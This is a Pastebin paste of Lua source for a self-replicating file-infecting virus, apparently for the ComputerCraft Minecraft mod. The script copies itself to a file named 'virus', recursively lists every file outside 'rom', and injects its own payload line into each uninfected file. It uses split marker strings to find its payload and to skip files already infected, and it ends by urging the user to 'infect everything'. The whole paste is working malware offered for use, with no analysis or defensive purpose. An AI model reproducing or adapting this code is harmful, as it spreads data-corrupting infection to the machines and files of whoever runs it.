Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local lolol = io.open(shell.getRunningProgram(), "r")
- local content = {}
- local i = 1
- for line in lolol:lines() do
- content[#content+1] = line
- end
- lolol:close()
- lolol = io.open("virus", "w")
- for n=1,#content do
- lolol:write( string.format( "%s ", content[n] ) )
- end
- lolol:close()
- shell.run("virus")
- error("Finished. Run \"virus\" to infect everything")
- Gahahaha = 1
- --[[Virus 1.0 libraryaddictidentify]]
- HijackFiles = {}
- HijackDirs = {}
- TempDirs = fs.list("/")
- while TempDirs[1] do
- for n=1,#TempDirs do
- if TempDirs[n] ~= "rom" and TempDirs[n] ~= shell.getRunningProgram() then
- if fs.isDir(TempDirs[n]) then
- local ListDir = fs.list(TempDirs[n])
- for h=1,#ListDir do
- HijackDirs[#HijackDirs+1] = TempDirs[n].."/"..ListDir[h]
- end
- else
- HijackFiles[#HijackFiles+1] = TempDirs[n]
- end
- TempDirs[n] = nil
- end
- end
- TempDirs = HijackDirs
- HijackDirs = {}
- end
- function infectLine(file, Infection)
- local lolol = io.open(file, "r")
- local content = {}
- local i = 1
- local pig = ""
- for line in lolol:lines() do
- content[#content+1] = line
- i = i + 1
- pig = pig..line
- end
- lolol:close()
- lineno = math.floor(tonumber(i)/3)
- if lineno == 0 then lineno = 1 end
- if not string.find(pig, "libraryaddictid".."entify") then
- content[lineno] = content[lineno].." ".."Gahahaha = "..lineno..Infection
- end
- local lolol = io.open( file, "w" )
- for i = 1, #content do
- lolol:write( string.format( "%s\n", content[i] ) )
- end
- lolol:close()
- end
- function Check(filename)
- local lolol = io.open(filename, "r")
- for line in lolol:lines() do
- local first = string.find(line, "libraryaddictid".."entify")
- local last = string.find(line, "libraryaddictide".."ntt")
- if first and last then
- lolol:close()
- return false
- end
- end
- return true
- end
- function Get()
- local lolol = io.open(shell.getRunningProgram(), "r")
- for line in lolol:lines() do
- local first = string.find(line, "libraryaddictid".."entify")
- local last = string.find(line, "libraryaddictide".."ntt")
- if first and last then
- lolol:close()
- return string.sub(line, first-14, last+20)
- end
- end
- end
- for n=1,#HijackFiles do
- if Check(HijackFiles[n]) then
- infectLine(HijackFiles[n], Get())
- end
- end
- --[[libraryaddictidentt]]
Advertisement
Add Comment
Please, Sign In to add comment